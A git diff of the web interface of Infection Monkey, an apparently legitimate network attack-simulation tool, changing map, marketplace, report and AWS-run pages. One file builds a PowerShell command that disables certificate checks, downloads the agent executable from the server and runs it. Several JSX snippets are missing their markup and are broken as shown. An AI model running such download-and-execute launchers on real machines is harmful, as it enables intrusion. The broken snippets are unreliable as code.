    - : ''} - - - - - - - ); - } -} - -export default MapPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.tsx new file mode 100644 index 00000000000..ee9064d86e3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.tsx @@ -0,0 +1,132 @@ +import React, {useState} from 'react'; +import { Col, Modal, Row } from 'react-bootstrap'; +import { Link } from 'react-router-dom'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faStopCircle } from '@fortawesome/free-solid-svg-icons/faStopCircle'; +import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; +import AuthComponent from '../AuthComponent'; +import '../../styles/components/Map.scss'; +import { faInfoCircle } from '@fortawesome/free-solid-svg-icons/faInfoCircle'; +import ReactiveGraph from '../reactive-graph/ReactiveGraph'; +import NodePreviewPane from '../map/preview-pane/NodePreviewPane'; + + +function MapPageComponent (props) { + const [selected, setSelected] = useState(null); + const [selectedType, setSelectedType] = useState(null); + const [killPressed, setKillPressed] = useState(false); + const [showKillDialog, setShowKillDialog] = useState(false); + const authComponent = new AuthComponent({}); + + const graphEvents = { + click: event => selectionChanged(event) + }; + + const selectionChanged = (event) => { + if (event.nodes.length === 1) { + for (const node of props.mapNodes) { + if (node.machineId === event.nodes[0]) { + setSelected(node); + setSelectedType('node'); + break; + } + } + } else { + setSelected(null) + setSelectedType(null); + } + } + + const killAllMonkeys = () => { + authComponent.authFetch('/api/agent-signals/terminate-all-agents', + { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + // Python uses floating point seconds, Date.now uses milliseconds, so convert + body: JSON.stringify({ timestamp: Date.now() / 1000.0 }) + }, + true + ) + .then(() => { setKillPressed(true) }); + }; + + const renderKillDialogModal = () => { + return ( + setShowKillDialog(false)}> + +

    +
    Are you sure you want to kill all monkeys?
    +

    +

    + This might take up to 2 minutes... +

    +
    + + +
    +
    +
    + ) + }; + + return ( +
    + + {renderKillDialogModal()} + +

    2. Infection Map

    + + +
    + Legend: + Exploit + | + Scan + | + Tunnel + | + Island Communication +
    +
    + {props.graph?.nodes.length > 0 && } +
    + +
    +
    +
    + Monkey + Events + +
    + {killPressed ? +
    + + Kill command sent to all monkeys +
    + : ''} + + + + + + + ); +} + +export default React.memo(MapPageComponent); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MarketplacePage.js b/monkey/monkey_island/cc/ui/src/components/pages/MarketplacePage.js new file mode 100644 index 00000000000..702ddb766ab --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/MarketplacePage.js @@ -0,0 +1,105 @@ +import React, {useContext, useState} from 'react'; +import Tabs from '@mui/material/Tabs'; +import {Tab, Box, Badge, Stack} from '@mui/material'; +import {PluginsContext} from '../contexts/plugins/PluginsContext'; +import AvailablePlugins from '../ui-components/plugins-marketplace/AvailablePlugins'; +import InstalledPlugins from '../ui-components/plugins-marketplace/InstalledPlugins'; +import classes from '../../styles/pages/Marketplace.module.scss'; +import UploadNewPlugin from '../ui-components/plugins-marketplace/UploadNewPlugin'; + +const TabPanel = (props) => { + const {children, value, index, ...other} = props; + + return ( + + ); +} + +const a11yProps = (index) => { + return { + id: `full-width-tab-${index}`, + 'aria-controls': `full-width-tabpanel-${index}` + }; +} + +const MarketplacePage = () => { + const {numberOfPluginsThatRequiresUpdate, refreshInstalledPlugins} = useContext(PluginsContext); + const [successfullyInstalledPluginsIds, setSuccessfullyInstalledPluginsIds] = useState([]); + const [pluginsInInstallationProcess, setPluginsInInstallationProcess] = useState([]); + const [successfullyUpdatedPluginsIds, setSuccessfullyUpdatedPluginsIds] = useState([]); + const [pluginsInUpdateProcess, setPluginsInUpdateProcess] = useState([]); + const [successfullyUninstalledPluginsIds, setSuccessfullyUninstalledPluginsIds] = useState([]); + const [pluginsInUninstallProcess, setPluginsInUninstallProcess] = useState([]); + + const [tabValue, setTabValue] = useState(0); + + const handleChange = (_event, newValue) => { + setTabValue(newValue); + if(pluginsInInstallationProcess.length === 0){ + setSuccessfullyInstalledPluginsIds([]); + } + setSuccessfullyUpdatedPluginsIds([]); + setSuccessfullyUninstalledPluginsIds([]); + refreshInstalledPlugins(); + } + + const installedPluginsLabel =
    + + Installed Plugins + +
    + + return ( + + +

    Plugins

    + + + + + + + + + + + + + + +
    +
    + ) +}; + +export default MarketplacePage; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index ec1860b59b2..b3f42d32111 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -34,7 +34,7 @@ class RegisterPageComponent extends React.Component { }; redirectToHome = () => { - window.location.href = '/landing-page'; + window.location.href = '/'; }; constructor(props) { @@ -65,7 +65,7 @@ class RegisterPageComponent extends React.Component {

    First time?

    -

    Let's secure your Monkey Island!

    +

    Register a user

    this.updateUsername(evt)} type='text' placeholder='Username'/> diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx index faa18bb8732..002bdeb241f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx @@ -9,18 +9,14 @@ import {doesAnyAgentExist, didAllAgentsShutdown} from '../utils/ServerUtils' import {useNavigate} from 'react-router-dom'; -type Props = { - islandMode: string, -}; - -function ReportPage(props: Props) { +function ReportPage() { const sections = ['security', 'ransomware']; const [securityReport, setSecurityReport] = useState({}); const [ransomwareReport, setRansomwareReport] = useState({}); const [allMonkeysAreDead, setAllMonkeysAreDead] = useState(false); const [runStarted, setRunStarted] = useState(true); const [selectedSection, setSelectedSection] = useState(selectReport(sections)); - const [orderedSections, setOrderedSections] = useState([{key: 'security', title: 'Security report'}]); + const orderedSections = [{key: 'security', title: 'Security report'}, {key: 'ransomware', title: 'Ransomware report'}]; const authComponent = new AuthComponent({}); function selectReport(reports) { @@ -30,7 +26,7 @@ function ReportPage(props: Props) { return reports[report_name]; } } - }; + } function getReportFromServer() { doesAnyAgentExist(true).then(anyAgentExists => { @@ -47,7 +43,7 @@ function ReportPage(props: Props) { }); } }); - }; + } function updateMonkeysRunning() { doesAnyAgentExist(true).then(anyAgentExists => { @@ -56,7 +52,7 @@ function ReportPage(props: Props) { didAllAgentsShutdown(true).then(allAgentsShutdown => { setAllMonkeysAreDead(!runStarted || allAgentsShutdown); }); - }; + } useEffect(() => { updateMonkeysRunning(); @@ -71,12 +67,12 @@ function ReportPage(props: Props) { activeKey={selectedSection} onSelect={(key) => { setSelectedSection(key); - navigate("/report/" + key); + navigate('/report/' + key); }} className={'report-nav'}> {orderedSections.map(section => renderNavButton(section))} ) - }; + } function renderNavButton(section) { return ( @@ -88,7 +84,7 @@ function ReportPage(props: Props) { {section.title} ) - }; + } function getReportContent() { switch (selectedSection) { @@ -97,34 +93,11 @@ function ReportPage(props: Props) { case 'ransomware': return (); } - }; - - function addRansomwareTab() { - let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; - if(isRansomwareTabMissing(ransomwareTab)){ - if (props.islandMode === 'ransomware') { - orderedSections.splice(0, 0, ransomwareTab); - } - else { - orderedSections.push(ransomwareTab); - } - } - }; - - function isRansomwareTabMissing(ransomwareTab) { - return ( - props.islandMode !== undefined && - !orderedSections.some(tab => - (tab.key === ransomwareTab.key - && tab.title === ransomwareTab.title) - )); - }; + } function renderContent() { let content = ; - addRansomwareTab(); - if (runStarted) { content = getReportContent(); } @@ -134,7 +107,7 @@ function ReportPage(props: Props) { return (
    + className={'main report-wrapper'}>

    3. Security Reports

    {renderNav()} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js index 044ab09a958..11051e62f5b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js @@ -16,10 +16,10 @@ class RunMonkeyPageComponent extends AuthComponent {

    Go ahead and run the Monkey! (Or fine-tune its behavior by adjusting the - configuration.) + configuration)

    - + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js index 5492d8ae589..75f4b135265 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSInstanceTable.js @@ -1,90 +1,33 @@ -import React, {useState} from 'react'; -import ReactTable from 'react-table' -import checkboxHOC from 'react-table/lib/hoc/selectTable'; +import React from 'react'; import PropTypes from 'prop-types'; - - -const CheckboxTable = checkboxHOC(ReactTable); +import XDataGrid from '../../../ui-components/XDataGrid'; const columns = [ - { - Header: 'Machines', - columns: [ - {Header: 'Machine', accessor: 'name'}, - {Header: 'Instance ID', accessor: 'instance_id'}, - {Header: 'IP Address', accessor: 'ip_address'}, - {Header: 'OS', accessor: 'os'} - ] - } + {headerName: 'Machine', field: 'name'}, + {headerName: 'Instance ID', field: 'instance_id'}, + {headerName: 'IP Address', field: 'ip_address'}, + {headerName: 'OS', field: 'os'} ]; -const pageSize = 10; - function AWSInstanceTable(props) { - - const [allToggled, setAllToggled] = useState(false); - let checkboxTable = null; - - function toggleSelection(key) { - key = key.replace('select-', ''); - // start off with the existing state - let modifiedSelection = [...props.selection]; - const keyIndex = modifiedSelection.indexOf(key); - // check to see if the key exists - if (keyIndex >= 0) { - // it does exist so we will remove it using destructing - modifiedSelection = [ - ...modifiedSelection.slice(0, keyIndex), - ...modifiedSelection.slice(keyIndex + 1) - ]; - } else { - // it does not exist so add it - modifiedSelection.push(key); - } - // update the state - props.setSelection(modifiedSelection); - } - - function isSelected(key) { - return props.selection.includes(key); - } - - function toggleAll() { - const selectAll = !allToggled; - const selection = []; - if (selectAll) { - // we need to get at the internals of ReactTable - const wrappedInstance = checkboxTable.getWrappedInstance(); - // the 'sortedData' property contains the currently accessible records based on the filter and sort - const currentRecords = wrappedInstance.getResolvedState().sortedData; - // we just push all the IDs onto the selection array - currentRecords.forEach(item => { - selection.push(item._original.instance_id); - }); - } - setAllToggled(selectAll); - props.setSelection(selection); - } - - function getTrProps(_, r) { - let color = 'inherit'; - if (r) { - let instId = r.original.instance_id; - let runResult = getRunResults(instId); - if (isSelected(instId)) { - color = '#ffed9f'; - } else if (runResult) { - color = runResult.status === 'error' ? '#f00000' : '#00f01b' + const {data, setSelection, selection, results} = {...props}; + + const getRowBackgroundColor = (instanceId) => { + if(instanceId) { + let runResult = getRunResults(instanceId); + if (!selection.includes(instanceId) && runResult) { + if (runResult.status === 'error') { + return 'run-error'; + } else { + return 'run-success'; + } } } - - return { - style: {backgroundColor: color} - }; + return null; } - function getRunResults(instanceId) { - for(let result of props.results){ + const getRunResults = (instanceId) => { + for(let result of results){ if (result.instance_id === instanceId){ return result } @@ -92,24 +35,23 @@ function AWSInstanceTable(props) { return false } + const [rowSelectionModel, setRowSelectionModel] = React.useState(selection || []); + + const onRowsSelectionHandler = (newRowSelectionModel) => { + setRowSelectionModel(newRowSelectionModel); + setSelection(newRowSelectionModel); + }; + return ( -
    - (checkboxTable = r)} - keyField="instance_id" - columns={columns} - data={props.data} - showPagination={true} - defaultPageSize={pageSize} - className="-highlight" - selectType="checkbox" - toggleSelection={toggleSelection} - isSelected={isSelected} - toggleAll={toggleAll} - selectAll={allToggled} - getTrProps={getTrProps} - /> -
    + {onRowsSelectionHandler(newRowSelectionModel)}} + rowSelectionModel={rowSelectionModel} + getRowClassName={(params) => `x-data-grid-row ${getRowBackgroundColor(params.row.instance_id)}`} + /> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js index efff53509d1..bfcd4944aac 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunButton.js @@ -8,6 +8,12 @@ import {Alert, Button} from 'react-bootstrap'; import LoadingIcon from '../../../ui-components/LoadingIcon'; +const addInstancesIds = (AWSInstances) => { + return AWSInstances.map(instance => { + return Object.assign({...instance}, {id: `row-${instance['instance_id']}`}); + }) +} + function AWSRunButton(props) { const authComponent = new AuthComponent({}); @@ -38,7 +44,7 @@ function AWSRunButton(props) { } else { // No error! Finish loading and display machines for user setIsOnAWS(true); - setAWSInstances(res['instances']); + setAWSInstances(addInstancesIds(res['instances'])); } } }); @@ -74,6 +80,7 @@ function AWSRunButton(props) { } else if (isOnAWS) { displayed = getAWSButton(); } + return displayed; } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js index 435f14e4afc..882e1e05cfb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js @@ -1,10 +1,8 @@ import React, {useEffect, useState} from 'react'; import {Button, Nav} from 'react-bootstrap'; - import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faSync} from '@fortawesome/free-solid-svg-icons/faSync'; -import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; import AwsRunTable from './AWSInstanceTable'; +import {faInfoCircle, faSync} from '@fortawesome/free-solid-svg-icons'; import AuthComponent from '../../../AuthComponent'; import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; import {getAllMachines, getIslandIPsFromMachines} from '../../../utils/ServerUtils'; @@ -16,8 +14,8 @@ const AWSRunOptions = (props) => { }) } - const getContents = (props) => { + const {AWSInstances} = {...props}; const authComponent = new AuthComponent({}); @@ -41,7 +39,7 @@ const getContents = (props) => { function runOnAws() { setAWSClicked(true); - let instances = selectedInstances.map(x => instanceIdToInstance(x)); + let instances = selectedInstances.map(id => instanceIdToInstance(id)); authComponent.authFetch('/api/remote-monkey', { @@ -65,13 +63,12 @@ const getContents = (props) => { }); } - function instanceIdToInstance(instance_id) { - let instance = props.AWSInstances.find( - function (inst) { - return inst['instance_id'] === instance_id; + function instanceIdToInstance(id) { + let instance = AWSInstances.find(currentInstance => { + return currentInstance.id === id; }); - return {'instance_id': instance_id, 'os': instance['os']} + return {'instance_id': instance?.instance_id, 'os': instance?.os} } return ( @@ -93,7 +90,7 @@ const getContents = (props) => { :
    } { size={'lg'} onClick={runOnAws} className={'btn btn-default btn-md center-block'} - disabled={AWSClicked}> + disabled={AWSClicked || selectedInstances.length === 0}> Run on selected machines {AWSClicked ? : null} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js index a493f1649bb..ecfcb952299 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnIslandButton.js @@ -181,10 +181,20 @@ class RunOnIslandButton extends AuthComponent { errorDetails={this.state.errorDetails}/> diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 90247e8dcc3..2f133b97d40 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -45,11 +45,7 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } - function isNotRansomwareMode(islandMode){ - return islandMode !== 'ransomware'; - } - - function defaultContents(props) { + function defaultContents() { return ( <> - {isNotRansomwareMode(props.islandMode) && } + { } ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 8843ddda55e..1dad043f485 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -2,11 +2,13 @@ import {AGENT_OTP_ENVIRONMENT_VARIABLE} from './consts'; function getAgentDownloadCommand(ip, otp) { return `$execCmd = @"\r\n` - + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/agent-binaries/windows',` - + `"""$env:TEMP\\monkey.exe""");\`$env:${AGENT_OTP_ENVIRONMENT_VARIABLE}='${otp}' ;` - + `Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` - + `\r\n"@; \r\n` + + `\`$monkey=[System.IO.Path]::GetTempPath() + """monkey.exe""";\r\n` + + `[Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;\r\n` + + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};\r\n` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/agent-binaries/windows',\r\n` + + `"""\`$monkey""");\`$env:${AGENT_OTP_ENVIRONMENT_VARIABLE}='${otp}';\r\n` + + `Start-Process -FilePath """\`$monkey""" -ArgumentList 'm0nk3y -s ${ip}:5000';\r\n` + + `"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; } diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.tsx b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.tsx index cee19a2f4bb..64de13e6117 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.tsx +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.tsx @@ -1,14 +1,14 @@ import React from 'react'; -import Graph from 'react-graph-vis'; +import VisGraph, {GraphData, GraphEvents} from 'react-vis-graph-wrapper'; import {getOptions, startingPosition} from '../map/MapOptions'; -const GraphWrapper = (props: { graph: Graph, events: any }) => { +const GraphWrapper = (props: { graph: GraphData, events: GraphEvents }) => { let options = getOptions(); return (
    - { network.moveTo(startingPosition); }}/> diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 175b9bc4b6a..6c237a2b2d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -12,18 +12,13 @@ import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; import ReactMarkdown from 'react-markdown'; import remarkBreaks from 'remark-breaks'; - import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import akamaiLogoImage from '../../images/akamai-logo.svg' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; -import { - crossSegmentIssueReport -} from './security/issues/CrossSegmentIssue'; +import {crossSegmentIssueReport} from './security/issues/CrossSegmentIssue'; import {getAllTunnels, tunnelIssueReportByMachine} from './security/issues/TunnelIssue'; -import { - zerologonOverviewWithFailedPassResetWarning -} from './security/issues/ZerologonIssue'; +import {zerologonOverviewWithFailedPassResetWarning} from './security/issues/ZerologonIssue'; import AvailableCredentials from './security/AvailableCredentials'; import { getAllAgents, @@ -35,7 +30,7 @@ import { getManuallyStartedAgents } from '../utils/ServerUtils'; import CollapsibleWellComponent from './security/CollapsibleWell'; -import { parseTimeToDateString } from '../utils/DateUtils'; +import {parseTimeToDateString} from '../utils/DateUtils'; class ReportPageComponent extends AuthComponent { @@ -63,12 +58,12 @@ class ReportPageComponent extends AuthComponent { this.authFetch('/api/propagation-credentials/stolen-credentials', {}, true) .then(res => res.json()) .then(creds => { - this.setState({ stolenCredentials: creds }); + this.setState({stolenCredentials: creds}); }) this.authFetch('/api/propagation-credentials/configured-credentials', {}, true) .then(res => res.json()) .then(creds => { - this.setState({ configuredCredentials: creds }); + this.setState({configuredCredentials: creds}); }) } @@ -78,7 +73,7 @@ class ReportPageComponent extends AuthComponent { componentDidUpdate(prevProps) { if (this.props.report !== prevProps.report) { - this.setState({ report: this.props.report }); + this.setState({report: this.props.report}); } } @@ -88,7 +83,7 @@ class ReportPageComponent extends AuthComponent { let content; if (this.stillLoadingDataFromServer()) { - content = ; + content = ; } else { content =
    @@ -102,20 +97,20 @@ class ReportPageComponent extends AuthComponent { return ( -
    +
    { print(); - }} /> + }}/>
    - -
    + +
    {content}
    -
    +
    { print(); - }} /> + }}/>
    ); @@ -129,7 +124,7 @@ class ReportPageComponent extends AuthComponent { if (this.state.report.overview.monkey_duration) { return <> After {this.state.report.overview.monkey_duration}, all Agents finished + className='badge text-bg-success'>{this.state.report.overview.monkey_duration}, all Agents finished propagation attempts. } else { @@ -145,20 +140,20 @@ class ReportPageComponent extends AuthComponent {

    Overview

    - 0} /> + 0}/> { this.state.report.glance.exploited_cnt > 0 ? '' :

    - + To improve Infection Monkey's detection rates, try adding credentials under Propagation - Credentials - and updating network settings under Propagation - Network analysis. + and updating network settings under Propagation - Network analysis.

    }

    The first Infection Monkey Agent ran on {parseTimeToDateString(this.state.report.overview.monkey_start_time)}. {this.getMonkeyDuration()} + className='badge text-bg-success'>{parseTimeToDateString(this.state.report.overview.monkey_start_time)}. {this.getMonkeyDuration()}

    Infection Monkey started propagating from the following machines where it was manually installed: @@ -166,7 +161,7 @@ class ReportPageComponent extends AuthComponent {

      {[...new Set(manualMonkeyHostnames)].map(x =>
    • {x}
    • )}
    - + { this.state.report.overview.config_exploits.length > 0 ? ( @@ -220,7 +215,7 @@ class ReportPageComponent extends AuthComponent { } generateSegmentationSection() { - if(this.state.report.cross_segment_issues.length === 0){ + if (this.state.report.cross_segment_issues.length === 0) { return ''; } else { return ( @@ -244,11 +239,11 @@ class ReportPageComponent extends AuthComponent { (100 * this.state.report.glance.exploited_cnt) / this.state.report.glance.scanned.length; let exploitPercentageSection = ''; - if (! isNaN(exploitPercentage)) { + if (!isNaN(exploitPercentage)) { exploitPercentageSection = ( -
    - +
    + {Math.round(exploitPercentage)}% of scanned machines exploited
    ) @@ -262,32 +257,32 @@ class ReportPageComponent extends AuthComponent {

    Infection Monkey discovered {this.state.report.glance.scanned.length} machines and + className='badge text-bg-warning'>{this.state.report.glance.scanned.length} machines and successfully breached {this.state.report.glance.exploited_cnt} of them. + className='badge text-bg-danger'>{this.state.report.glance.exploited_cnt} of them.

    {exploitPercentageSection}
    -
    - +
    +
    -
    +

    Infection Monkey successfully breached  - + {this.state.report.glance.exploited_cnt} {Pluralize('machine', this.state.report.glance.exploited_cnt)}:

    - +
    -
    +

    Infection Monkey stole the following credentials:

    - +
    ); @@ -295,11 +290,12 @@ class ReportPageComponent extends AuthComponent { generateReportFooter() { return ( -
    -

    Delete data gathered by Monkey agents.

    -

    This will reset the Map and reports.

    - - + return ( + + +
    This action will reset the map and reports.
    +
    + {displayDeleteData()} - - -
    - -
    -

    Reset everything.

    -

    You might want to before doing this.

    - - - {displayResetAll()} - - - ) + + ) } } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIconMUI.js b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIconMUI.js new file mode 100644 index 00000000000..4bf79d139e6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/LoadingIconMUI.js @@ -0,0 +1,13 @@ +import Autorenew from '@mui/icons-material/Autorenew'; +import React from 'react'; + +function LoadingIcon(props) { + return +} + +export default LoadingIcon; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyButton.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyButton.tsx new file mode 100644 index 00000000000..bb38e1174b1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyButton.tsx @@ -0,0 +1,39 @@ +import React from 'react'; +import Button from '@mui/material/Button'; +import ComponentColor from './base-components/Color'; +import {ThemeProvider} from '@mui/material'; +import MUITheme from '../../styles/MUITheme'; + +export enum ButtonVariant { + Contained = 'contained', + Outlined = 'outlined', + Text = 'text' +} + +export enum ButtonSize { + Small = 'small', + Medium = 'medium', + Large = 'large' +} + +type MonkeyButtonProps = { + onClick?: () => void; + children: React.ReactNode; + color?: ComponentColor; + disabled?: boolean; + variant?: ButtonVariant; + size?: ButtonSize; +} + +const MonkeyButton = (props: MonkeyButtonProps) => { + let {children, onClick, ...styleProps} = props; + return ( + + + + ) +} + +export default MonkeyButton; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeySelect.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeySelect.tsx new file mode 100644 index 00000000000..794855d054b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeySelect.tsx @@ -0,0 +1,79 @@ +import React from 'react'; +import { + FormControl, Input, + InputLabel, + MenuItem, + Select, + SelectChangeEvent, + SelectProps as MUISelectProps +} from '@mui/material'; +import MonkeyTooltip from './MonkeyTooltip'; +import {styled} from '@mui/material/styles'; + +export enum SelectVariant { + Standard = 'standard', + Outlined = 'outlined', + Filled = 'filled' +} + +type Option = { + label: string, + value: string, +} + +type SelectProps = Omit & { + placeholder: string, + options: Option[], + selectedOption: Option, + onChange: (event: SelectChangeEvent) => void, + variant: SelectVariant +} + +const MonkeySelectStyled = styled(Input)(({ theme }) => ({ + '& .MuiInputBase-input': { + 'paddingLeft': '10px' + } +})); + +const SelectComponent = ({ + placeholder, + options, + selectedOption, + onChange, + variant=SelectVariant.Outlined, + ...rest + }: SelectProps) => { + + return ( + + + {placeholder} + + + + ) +} + +export default SelectComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyToggle.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyToggle.js new file mode 100644 index 00000000000..583c81e84d1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyToggle.js @@ -0,0 +1,73 @@ +import React, {useEffect, useState} from 'react'; +import {nanoid} from 'nanoid'; +import ToggleButton from '@mui/material/ToggleButton'; +import ToggleButtonGroup from '@mui/material/ToggleButtonGroup'; + +export const TOGGLE_SIZE = { + 'SMALL': 'small', + 'MEDIUM': 'medium', + 'LARGE': 'large' +} + +const DEFAULT_SIZE = TOGGLE_SIZE.MEDIUM; + +const MonkeyToggle = (props) => { + const { + options = [], + defaultValues = [], + isExclusive = true, + size = DEFAULT_SIZE, + enforceValueSet = true, + setSelectedValues + } = {...props}; + const [toggleOptions, setToggleOptions] = useState(options); + const [optionsRefId, setOptionsRefId] = useState(null); + const [currentValues, setCurrentValues] = useState(defaultValues?.length > 0 ? defaultValues : ([options?.[0]?.value] || [])); + + useEffect(() => { + if (!optionsRefId && options?.length > 0) { + setToggleOptions(options?.sort()); + setOptionsRefId(nanoid()); + } + }, [options, optionsRefId]) + + useEffect(() => { + setSelectedValues && setSelectedValues(currentValues); + }, [currentValues]) + + const handleValuesChange = (_event, newValues) => { + if (enforceValueSet && newValues !== null) { + setCurrentValues(newValues); + } else if (!enforceValueSet) { + setCurrentValues(newValues); + } + } + + if (!Array.isArray(options) || options?.length === 0) { + return null; + } + + return ( + + { + toggleOptions?.map((option) => { + const value = option?.value; + const valueAsLabel = typeof value === 'string' ? value?.trim().toUpperCase() : null; + const label = typeof option?.label === 'string' ? option?.label.toUpperCase() : (option?.label || valueAsLabel); + return ( + + {label} + + ) + }) + } + + ); +} + +export default MonkeyToggle; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyTooltip.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyTooltip.js new file mode 100644 index 00000000000..bc3614c193d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MonkeyTooltip.js @@ -0,0 +1,57 @@ +import React, {useState} from 'react'; +import Zoom from '@mui/material/Zoom'; +import {Tooltip} from '@mui/material'; + +export const TOOLTIP_POSITION = { + TOP: 'top', + BOTTOM: 'bottom', + LEFT: 'left', + RIGHT: 'right' +}; + +/* + The CSS is located inside App.css ('.MuiTooltip-tooltip') as the tooltip is a global component which is appended + on the body element. +*/ + +//* MonkeyTooltip is a wrapper for the Tooltip component from @mui/material. +//* It is used to set default values for the Tooltip component. +//* props are forwarded to the Tooltip component. +//* props can be overridden by passing them to the MonkeyTooltip component. +//* props are: title, placement, className, key, isOverflow. +//* The 'isOverflow' prop is meant to used in textual nodes only +const MonkeyTooltip = (props) => { + const {placement, isOverflow = false, children, ...rest} = {...props}; + + const [tooltipEnabled, setTooltipEnabled] = useState(false); + + const handleShouldShow = ({currentTarget}) => { + if (currentTarget.scrollWidth > currentTarget.clientWidth) { + setTooltipEnabled(true); + } + }; + + const forwardedProps = Object.assign( + {...rest}, + { + placement: placement || TOOLTIP_POSITION.TOP, + TransitionComponent: Zoom + 